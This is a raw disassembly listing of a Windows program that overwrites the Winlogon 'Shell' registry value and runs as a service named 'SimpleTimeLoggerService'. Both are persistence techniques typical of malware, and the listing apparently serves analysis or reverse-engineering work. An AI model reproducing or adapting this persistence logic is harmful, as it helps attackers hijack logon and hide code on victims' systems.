mov word [rsp + 0x60], di
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000ccff
mov eax, dword [rbp + 0x80]
lea eax, [rax*2 + 2]
lea rcx, [rbp + 0x70]
cmp qword [rbp + 0x88], 7
cmova rcx, qword [rbp + 0x70]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, str.Shell
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x14000ccf6
lea rdx, str.Shell_value_in_the_registry_has_been_successfully_updated.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
jmp 0x14000cd44
lea rdx, str.Failed_to_set_registry_value__error:
jmp 0x14000cd06
lea rdx, str.Failed_to_open_registry_key__error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140008020
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1400083e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.Unable_to_set_Shell_value_in_the_registry._Make_sure_you_have_administrator_privileges.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140008020
lea rdx, [0x1400083e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x88]
cmp rdx, 7
jbe 0x14000ca5a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cd9f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000cd9f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010020
jmp 0x14000ca5a
lea rdx, str.Failed_to_copy_file._Error:
jmp 0x14000ca29
mov rdx, qword [rbp + 0x40]
mov r10, qword [rbp - 0x60]
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rcx, qword [rbp - 0x70]
lea r8, [rbp + 0x30]
cmp qword [rbp + 0x48], 7
cmova r8, qword [rbp + 0x30]
cmp rdx, r10
jne 0x14000ca5a
test rdx, rdx
je 0x14000cf9a
sub r8, rcx
nop
movzx eax, word [rcx + r8]
cmp ax, word [rcx]
jne 0x14000ca5a
add rcx, 2
sub rdx, 1
je 0x14000cf9a
jmp 0x14000cdf0
call fcn.140010020
movdqa xmm0, xmmword [0x140014570]
movdqu xmmword [rbp + 0x130], xmm0
mov word [rbp + 0x120], di
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x14000ce6d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ce68
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ce68
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010020
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], di
mov rdx, qword [rbp - 0x18]
cmp rdx, 7
jbe 0x14000cec0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cebb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000cebb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010020
movdqa xmm0, xmmword [0x140014570]
movdqu xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x30], di
mov rdx, qword [rbp + 0x48]
cmp rdx, 7
jbe 0x14000cf14
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cf0f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000cf0f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010020
mov qword [rbp + 0x40], rdi
mov qword [rbp + 0x48], 7
mov word [rbp + 0x30], di
mov rdx, qword [rbp + 0x68]
cmp rdx, 7
jbe 0x14000cf68
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cf62
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000cf62
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010020
nop
lea rcx, [rbp + 0x90]
call fcn.140007af0
xor eax, eax
mov rcx, qword [rbp + 0x560]
xor rcx, rsp
call fcn.14000fa10
lea r11, [rsp + 0x670]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
call fcn.14000a330
nop
sub rsp, 0x38
lea rdx, [0x14000d150]
lea rcx, str.SimpleTimeLoggerService
call qword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerW]
mov qword [0x14001add8], rax
test rax, rax
je 0x14000d141
mov qword [rsp + 0x30], rdi
lea rdx, [0x14001ade0]
xor edi, edi
mov dword [0x14001ade0], 0x10
mov rcx, rax
mov dword [0x14001adec], edi
mov dword [0x14001adf4], edi
mov qword [0x14001ade4], 2
mov dword [0x14001adf8], 0xbb8
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
xor r9d, r9d
lea edx, [rdi + 1]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [0x14001a0e0], rax
test rax, rax
jne 0x14000d075
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [0x14001add8]
lea rdx, [0x14001ade0]
mov dword [0x14001adec], eax
mov eax, dword [0x14001a0d8]
mov dword [0x14001adf4], eax
inc eax
mov dword [0x14001a0d8], eax
mov dword [0x14001ade4], 1
mov dword [0x14001adf8], edi
mov rdi, qword [rsp + 0x30]
add rsp, 0x38
jmp qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
mov eax, dword [0x14001a0d8]
lea rdx, [0x14001ade0]
mov rcx, qword [0x14001add8]
mov dword [0x14001adf4], eax
inc eax
mov dword [0x14001a0d8], eax
mov qword [rsp + 0x40], rbx
mov dword [0x14001ade4], 4
mov dword [0x14001adec], edi
mov dword [0x14001adf8], edi
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x14000d1b0]
mov dword [0x14001ade8], 1
xor edx, edx
mov dword [rsp + 0x20], edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x14001a0d8]
lea rdx, [0x14001ade0]
mov rcx, qword [0x14001add8]
mov dword [0x14001adf4], eax
inc eax
mov dword [0x14001a0d8], eax
mov dword [0x14001ade4], 1
mov dword [0x14001adec], edi
mov dword [0x14001adf8], edi
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x30]
add rsp, 0x38
ret